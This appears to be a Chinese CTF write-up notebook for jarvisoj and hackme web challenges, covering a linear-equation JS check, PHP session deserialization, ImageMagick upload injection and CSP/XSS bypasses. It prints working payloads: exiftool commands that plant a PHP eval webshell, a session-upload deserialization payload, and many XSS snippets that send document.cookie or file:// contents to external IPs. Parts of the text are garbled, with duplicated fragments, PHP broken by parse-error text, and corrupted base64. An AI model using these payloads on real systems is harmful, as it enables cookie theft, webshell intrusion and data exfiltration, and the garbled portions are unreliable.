 for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117
241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]],
n = 0; n < 25; n++) {
  for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
  if (i !== r[n]) return ! 1
 }
 return ! 0
}
```

变成了一个数学题，解线性方程组

```
import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
```

```
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
res = ''
for i in x:
 res += chr(int(str(i)[0:-2]))
print(res)
```

jarvisoj PHPINFO

```
下面是题目给出的源码，这题直接给出了 phpinfo，会有很多有意思的解法，以后慢慢补充
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
 public $mdzz;
 function __construct() {
  $this->mdzz = 'phpinfo();';
 }

 function __destruct() {
  eval($this->mdzz);
 }
}
if(isset($_GET['phpinfo'])) {
 $m = new OowoO();
}
else {
 highlight_string(file_get_contents('index.php'));
}
?>
涉及到几个知识点
1.[PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
在设置 SESSION 和读取 SESSION 两个阶段中，如果使用了不同的序列化方法，将会导致任意对象注入，进而导致反序列化漏洞。<?php
例如：
 $_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
 存储时使用 php_serialize ==> a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
 反序列化使用 php ==>
 // var_dump($_SESSION);
 array(1) {
  ["a:1:{s:4:"ryat";s:20:""]=>
  object(stdClass)#1 (0) {
  }
 }
"
即 PHP 获取 SESSION 字符串后，就开始查找第一个 |（竖线），用竖线将字符串分割成“键名”和“键值”，
并对“键值”进行反序列化。但如果这次反序列化失败，就放弃这次解析，找到下一个竖线，执行同样的操作，
直到成功。
明摆着有 eval()，但 $mdzz 好像不可控，那如何利用它执行我们想要的操作呢，这就需要用到下一个知识。

2.[有趣的 php 反序列化总结](http://www.91ri.org/15925.html)
仔细查看给出的 phpinfo 配置文件，发现了 session.upload_progress.enabled 打开，并且 session.upload_progress.cleanup 关闭。
这就极大提高了漏洞的利用成功率。如果此选项 session.upload_progress.cleanup 打开，那么在利用时攻击者需要上传 large and crash 文件，来使得我们传入的data得以执行。
https://img-blog.csdn.net/20171103001723738?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvd3lfOTc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast
```

```
当一个上传在处理中，同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时，php 检测到这种 post 请求就会在 $_SESSION 中添加一组数据。
所以可以通过 session.upload_progress 来设置 session。

如果不指定，PHP 默认使用 “php“ 作为 session 序列化的方法。
你可以试试，设置 `$_SESSION['a|b'] = 1;`，会发现实际上设置不进去，这就是 “php“ 的特性。

正常用法参见 example#1 http://php.net/manual/zh/session.upload-progress.php，配合 Ajax 就能显示上传进度

filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"
Array (
 [a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";
  a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"]
 => OowoO Object (
   [mdzz] => print_r($_SESSION);
 )
)

存入 session 里的形式是这样的，由此看出，field_name 也是可控的，不一定要用 filename"
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  )
 )
)
```

jarvisoj 图片上传

```
请设法获取 /home/ctf/flag.txt 中的flag值。(建议使用png文件上传)
扫目录得到一个 test.php，点进去发现是 phpinfo 界面
[phpinfo可以告诉我们什么](http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/)
从中看到有个 imagick 扩展，此外 disable_function 为空
imagemagick 存在 [cve](http://www.2cto.com/article/201605/505823.html)
这里可以使用 exiftool 工具，111.png 是本地已有的图像
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> >
/opt/lampp/htdocs/uploads/x.php; \"" 111.png

因为路径已知，直接 cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt

exiftool -label="\"|/bin/cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt ; \"" 111.png

按照 一叶飘零 的 wp，思路是这样，但一直没复现成功（可能挂了删除马，云屿师傅建议开几个线程，连续写，连续读
注意这里 是需要转义两次的意思是要在图片里面带有一个 这样在服务器上echo写入的时候才会保留
先上传一次带有后门的图片得到图片路径 然后拼接在发包一次修改 filetype 的参数为 show
最后上菜刀得到flag
```

jarvisoj Chopper

```
这个代理有点莫名其妙
/proxy.php?url=202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php
https://skysec.top/2018/08/15/%E4%BB%8E%E4%B8%80%E9%81%93CTF%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83/
```

jarvisoj babyxss

```
Hint1: csp bypass
有 CSP 的基本上就是 xss 题了
Content-Security-Policy: default-src 'self'; script-src 'self'  即只能加载同域的 js
（此处如果有上传点，可以先传一个js上去，自然就同域了
扔到 https://csp-evaluator.withgoogle.com/ 检测下
鲜红的：object-src [missing]
object-src 定义 \<applet>、\<embed>、\<object> 等引用资源加载策略
参考 https://hurricane618.me/2018/06/30/csp-bypass-summary/

<link rel="prefetch" href="http://47.101.220.241:9999/?c=[cookie]">
<link rel='preload' href='http://demo.wywwzjj.top/public/xss.js'>
<link rel='prefetch' href='http://demo.wywwzjj.top/public/xss.js?c=jdklfa'>
<link rel='prefetch' href='120.77.176.168:11122?c=jdklfa'>
<link rel='prefetch' href='35.201.152.114:8001?c=jdklfa'>

<meta http-equiv="refresh" content="0; url='http://35.201.152.114:8001/xxx.jpg?refresh'">


<script>
 var lin = document.createElement("link");
 lin.setAttribute("rel", "prefetch");
 lin.setAttribute("href", "http://35.201.152.114:8001?a=" + document.cookie);
 document.head.appendChild(lin);
</script>


利用此脚本填md5验证码

import random
import string
import hashlib

def md5(s):
 s = s.encode(encoding='utf8')
 m = hashlib.md5()
 m.update(s)
 return m.hexdigest()

if __name__ == "__main__":
 target = input()
 while 1:
  string = ''
  s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
  if md5(s)[:4] == target:
   print(s)
   break

# 上面的不靠谱就用这个
<?php
$hashfuc='md5';
```

```
while(1){
 $arg = trim(fgets(STDIN));
 $i = 0;
 while(++$i){
  if(substr($hashfuc($i), 0, strlen($arg)) === $arg){
   echo($i."\n". $hashfuc($i)."\n");
   break;
  }
 }
}
?>
```

#hackme xss

```
http://47.101.220.241:9999

<script>
 document.location="http://47.101.220.241:9999?cookie="+document.cookie
 new Image().src="http://47.101.220.241:9999?cookie="+document.cookie
</script>
<img src="http://47.101.220.241:9999?cookie="+document.cookie></img>

<svg/onload="document.location='http://47.101.220.241:9999'">

<iframe src=http://47.101.220.241:9999 <

<svg/onload="javascript:document.location.href=('http://47.101.220.241:9999?cookie='+document.cookie)">

不区分大小写

<script
)
onmouseover
onload
onerror
onfocus
<iframe

<svg/onload="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x
65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x72;&#x65;&#x66;&#x3d;&#x28;&
#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x34;&#x37;&#x2e;&#x31;&#x30;&#x31;&#x2e;&#x32;&#x32;&#x30;&#x2e
;&#x32;&#x34;&#x31;&#x3a;&#x39;&#x39;&#x39;&#x39;&#x3f;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x3d;&#x27;&#x2b;&#x
64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x29;">

<svg/onload=document.location="http://47.101.220.241:9999?cookie="+document.url>
url --> undefinded
referer --> localhost/read.php

所以咱们可以看看 config.php 有什么内容



<!-- <?php
```

// database config
define(‘DB_USER’, ‘xssrf’);
define(‘DB_PASS’, ‘xssrfmeplz’);
define(‘DB_HOST’, ‘host=localhost’);
define(‘DB_NAME’, ‘xssrf’);

```
// redis config
define(‘REDIS_HOST’, ‘localhost’);
define(‘REDIS_PORT’, 25566);

// define flag
define(‘FLAG’, ‘FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}’);
$c_hardness = 5; // how many proof of work leading zeros

error_reporting(E_ALL ^ E_NOTICE);
session_start();
require(‘config.php’);
$connection_string = sprintf(‘mysql:%s;dbname=%s;charset=utf8mb4’, DB_HOST, DB_NAME);
db= newPDO( connection_string, DB_USER, DB_PASS);
require(‘user_func.php’);
require(‘mail_func.php’);
require(‘waf_func.php’);
function redirect($url=‘index.php’) {
$url = (string)preg_replace(’/[\r\n]+/’, ‘’, $url);
header(“Location: $url”);
}

function login_required() {
if(!isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: …=' . urlencode(_SERVER[‘REQUEST_URI’]));
exit;
}
}

function admin_required() {
login_required();
if($_SESSION[‘user’][‘is_admin’] !== ‘1’) {
$error_msg = ‘Admin required’;
require(‘error.php’);
exit;
}
}

function h(KaTeX parse error: Expected '}', got 'EOF' at end of input: …n htmlentities(str, ENT_QUOTES | ENT_HTML5);
}

if(isset($_SESSION[‘user’])) {
unread ount= count nread ail();if( _SESSION[‘user’][‘is_admin’]) {
```

```
<svg/onload="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState4 && x.status200) {
document.location='http://47.101.220.241:9999/?code='+btoa(x.responseText);
}
}
x.open(“POST”,“request.php”,true);
x.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
x.send(“url=file:///var/www/html/request.php”);
">
```

```
<svg/onload="
var x=new XMLHttpRequest(); x.onreadystatechange=function() { if (x.readyState==4 && x.status==200) {
document.location=‘http://47.101.220.241:9999/?code=’+btoa(x.responseText); } } x.open(“POST”,“request.php”,true);
x.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”); x.send(“url=file:///var/www/html/request.php”);
">
```

PCFET0NUWVBFIGh0bWw
CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5YU1NSRiAtIFJlcXVlc
3Q8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJib290c3RyYXAvY3NzL2Jvb3RzdHJhcC5taW4uY3
NzIiBtZWRpYT0iYWxsIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0ic3R5bGUuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDxzd
HlsZT5wcmUgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZWVlOyBwYWRkaW5nOiA1cHg7IH08L3N0eWxlPgogIDwvaGVhZD4KICA8Y
m9keT4KPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgbmF2YmFyLWRhcmsgYmctZGFyayBkLWZsZXgiPgogIDx
hIGNsYXNzPSJuYXZiYXItYnJhbmQiIGhyZWY9ImluZGV4LnBocCI WFNTUkY8L2E CgogIDx1bCBjbGFzcz0ibmF2YmFyLW5hdiI
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZW5kbWFpbC5waHAiPiNl
bmQgTWFpbDwvYT4KICAgIDwvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJtYWlsYm94LnBocCI
TWFpbGJveDwvYT4KICAgIDwvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZW50bWFpbC5waHAiPiNl
bnQgTWFpbDwvYT4KICAgIDwvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZXRhZG1pbi5waHAiPiNld
CBBZG1pbjwvYT4KICAgIDwvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJyZXF1ZXN0LnBocCI
U2VuZCBSZXF1ZXN0PC9hPgogICAgPC9saT4KICA8L3VsPgoKICA8dWwgY2xhc3M9Im5hdmJhci1uYXYgbWwtYXV0byI
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10ZXh0Ij5IZWxsbywgYWRtaW4gKEFkb
WluaXN0cmF0b3IpPC9zcGFuPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICA8YSBjbGFzcz0ibmF2
LWxpbmsiIGhyZWY9ImxvZ291dC5waHAiPkxvZ291dDwvYT4KICAgIDwvbGk CiAgPC91bD4KPC9uYXY
CgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCiAgICAgIDxwcmU PGNvZGU
Jmx0OyZxdWVzdDtwaHAgcmVxdWlyZSZscGFyOyZhcG9zO2NvbW1vbiZwZXJpb2Q7cGhwJmFwb3M7JnJwYXI7JnNlbWk7Jk5Id
0xpbmU7YWRtaW4mbG93YmFyO3JlcXVpcmVkJmxwYXI7JnJwYXI7JnNlbWk7Jk5Id0xpbmU7Jk5Id0xpbmU7JmRvbGxhcjttc2cgJ
mVxdWFsczsgJmxicmFjazsmcnNxYjsmc2VtaTsmTmV3TGluZTsmZG9sbGFyO3VybCAmZXF1YWxzOyAmYXBvczsmYXBvczsmc
2VtaTsmTmV3TGluZTsmZG9sbGFyO3Jlc3VsdCAmZXF1YWxzOyAmYXBvczsmYXBvczsmc2VtaTsmTmV3TGluZTsmTmV3TGlu
ZTtpZiZscGFyO2Izc2V0JmxwYXI7JmRvbGxhcjsmbG93YmFyO1BPU1QmbGJyYWNrOyZhcG9zO3VybCZhcG9zOyZyc3FiOyZycG
FyOyZycGFyOyAmbGJyYWNlOyZOZXdMaW5lOyAgICAmZG9sbGFyO3VybCAmZXF1YWxzOyAmZG9sbGFyOyZsb3diYXI7UE9
TVCZsYnJhY2s7JmFwb3M7dXJsJmFwb3M7JnJzcWI7JnNlbWk7Jk5Id0xpbmU7ICAgICZkb2xsYXI7cmVzdWx0ICZlcXVhbHM7IH
NoZWxsJmxvd2JhcjtleGVjJmxwYXI7JmFwb3M7Y3VybCAtbSAxIC0tY29ubmVjdC10aW1lb3V0IDEgLXMgJmFwb3M7ICZwZXJpb
2Q7IGVzY2FwZXNoZWxsYXJnJmxwYXI7JmRvbGxhcjt1cmwmcnBhcjsmcnBhcjsmc2VtaTsmTmV3TGluZTsmcmN1YjsmTmV3TGl
uZTsmcXVlc3Q7Jmd0OyZsdDsmZXhjbDtET0NUWVBFIGh0bWwmZ3Q7Jk5Id0xpbmU7Jmx0O2h0bWwgbGFuZyZlcXVhbHM7Jn
F1b3Q7ZW4mcXVvdDsmZ3Q7Jk5Id0xpbmU7ICAmbHQ7aGVhZCZndDsmTmV3TGluZTsgICAgJmx0O21ldGEgY2hhcnNldCZlc
XVhbHM7JnF1b3Q7VVRGLTgmcXVvdDsmZ3Q7Jk5Id0xpbmU7ICAgICZsdDt0aXRsZSZndDtYU1NSRiAtIFJlcXVlc3QmbHQ7Jn
NvbDt0aXRsZSZndDsmTmV3TGluZTsgICAgJmx0O2xpbmsgcmVsJmVxdWFsczsmcXVvdDtzdHlsZXNoZWV0JnF1b3Q7IGhyZW
YmZXF1YWxzOyZxdW90O2Jvb3RzdHJhcCZzb2w7Y3NzJnNvbDtib290c3RyYXAmcGVyaW9kO21pbiZwZXJpb2Q7Y3NzJnF1b3
Q7IG1lZGlhJmVxdWFsczsmcXVvdDthbGwmcXVvdDsmZ3Q7Jk5Id0xpbmU7ICAgICZsdDsaW5rIHJlbCZlcXVhbHM7JnF1b3Q7c
3R5bGVzaGVldCZxdW90OyBocmVmJmVxdWFsczsmcXVvdDtzdHlsZSZwZXJpb2Q7Y3NzJnF1b3Q7IG1lZGlhJmVxdWFsczsmc
XVvdDthbGwmcXVvdDsmZ3Q7Jk5Id0xpbmU7ICAgICZsdDtzdHlsZSZndDtwcmUgJmxicmFjZTsgYmFja2dyb3VuZC1jb2xvciZjb2x
vbjsgJm51bTtlZWUmc2VtaTsgcGFkZGluZyZjb2xvbjsgNXB4JnNlbWk7ICZyY3ViOyZsdDsmc29sO3N0eWxlJmd0OyZOZXdMaW5I
OyAgJmx0OyZzb2w7aGVhZCZndDsmTmV3TGluZTsgICZsdDtib2R5Jmd0OyZOZXdMaW5lOyZsdDsmcXVlc3Q7cGhwIHJlcXVpc
mUmbHBhcjsmYXBvczsuYXYmcGVyaW9kO3BocCZhcG9zOyZycGFyOyZzZW1pOyAmcXVlc3Q7Jmd0OyZOZXdMaW5lOyZOZX
dMaW5lOyAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFsczsmcXVvdDtjb250YWluZXImcXVvdDsmZ3Q7Jk5Id0xpbmU7Jmx0OyZxdW
VzdDtwaHAgZm9yZWFjaCZscGFyOyZkb2xsYXI7bXNnIGFzIGxpc3QmbHBhcjsmZG9sbGFyO3R5cGUmY29tbWE7ICZkb2xsYXI7
Y29udGVudCZycGFyOyZycGFyOyZjb2xvbjsgJnF1ZXN0OyZndDsmTmV3TGluZTsgICAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFscz
smcXVvdDthbGVydCBhbGVydC0mbHQ7JnF1ZXN0OyZlcXVhbHM7JmRvbGxhcit0eXBlIJnNlbWk7JnF1ZXN0OyZndDsmcXVvdD

smZ3Q7Jmx0OyZxdWVzdDsmZXF1YWxzOyZkb2xsYXI7Y29udGVudCZzZW1pOyZxdWVzdDsmZ3Q7Jmx0OyZzb2w7ZGl2Jmd0
OyZOZXdMaW5lOyZsdDsmcXVlc3Q7cGhwIGVuZGZvcmVhY2gmc2VtaTsgJnF1ZXN0OyZndDsmTmV3TGluZTsmTmV3TGluZTs
mbHQ7JnF1ZXN0O3BocCBpZiZscGFyOyZkb2xsYXI7cmVzdWx0JnJwYXI7JmNvbG9uOyAmcXVlc3Q7Jmd0OyZOZXdMaW5lOy
AgICAgICZsdDtwcmUmZ3Q7Jmx0O2NvZGUmZ3Q7Jmx0OyZxdWVzdDsmZXF1YWxzO2gmbHBhcjsmZG9sbGFyO3Jlc3VsdCZy
cGFyOyZxdWVzdDsmZ3Q7Jmx0OyZzb2w7Y29kZSZndDsmbHQ7JnNvbDtwcmUmZ3Q7Jk5ld0xpbmU7Jmx0OyZxdWVzdDtwaH
AgZW5kaWYmc2VtaTsgJnF1ZXN0OyZndDsmTmV3TGluZTsmTmV3TGluZTsgICAgICAmbHQ7Zm9ybSBhY3Rpb24mZXF1YWxz
OyZxdW90OyZsdDsmcXVlc3Q7JmVxdWFsczsmZG9sbGFyOyZsb3diYXI7U0VSVkVSJmxicmFjazsmYXBvcztSRVFVRVNUJmxv
d2JhcjtVUkkmYXBvczsmcnNxYjsmcXVlc3Q7Jmd0OyZxdW90OyBtZXRob2QmZXF1YWxzOyZxdW90O1BPU1QmcXVvdDsmZ3Q
7Jk5ld0xpbmU7ICAgICAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFsczsmcXVvdDtmb3JtLWdyb3VwJnF1b3Q7Jmd0OyZOZXdMaW
5lOyAgICAgICAgICAmbHQ7bGFiZWwgZm9yJmVxdWFsczsmcXVvdDt1cmwmcXVvdDsmZ3Q7VVJMJmx0OyZzb2w7bGFiZWw
mZ3Q7Jk5ld0xpbmU7ICAgICAgICAgICZsdDt0ZXh0YXJlYSBuYW1lJmVxdWFsczsmcXVvdDt1cmwmcXVvdDsgY2xhc3MmZXF1
YWxzOyZxdW90O2Zvcm0tY29udHJvbCZxdW90OyBpZCZlcXVhbHM7JnF1b3Q7dXJsJnF1b3Q7IGFyaWEtZGVzY3JpYmVkYnkm
ZXF1YWxzOyZxdW90O3VybCZxdW90OyBwbGFjZWhvbGRlciZlcXVhbHM7JnF1b3Q7VVJMJnF1b3Q7IHJvd3MmZXF1YWxzOyZ
xdW90OzEwJnF1b3Q7Jmd0OyZsdDsmcXVlc3Q7JmVxdWFsczsmZG9sbGFyO3VybCZxdWVzdDsmZ3Q7Jmx0OyZzb2w7dGV4
dGFyZWEmZ3Q7Jk5ld0xpbmU7ICAgICAgICAmbHQ7JnNvbDtkaXYmZ3Q7Jk5ld0xpbmU7Jk5ld0xpbmU7ICAgICAgICAmbHQ7Y
nV0dG9uIGNsYXNzJmVxdWFsczsmcXVvdDtidG4gYnRuLXByaW1hcnkmcXVvdDsmZ3Q7U2VuZCBSZXF1ZXN0Jmx0OyZzb2w
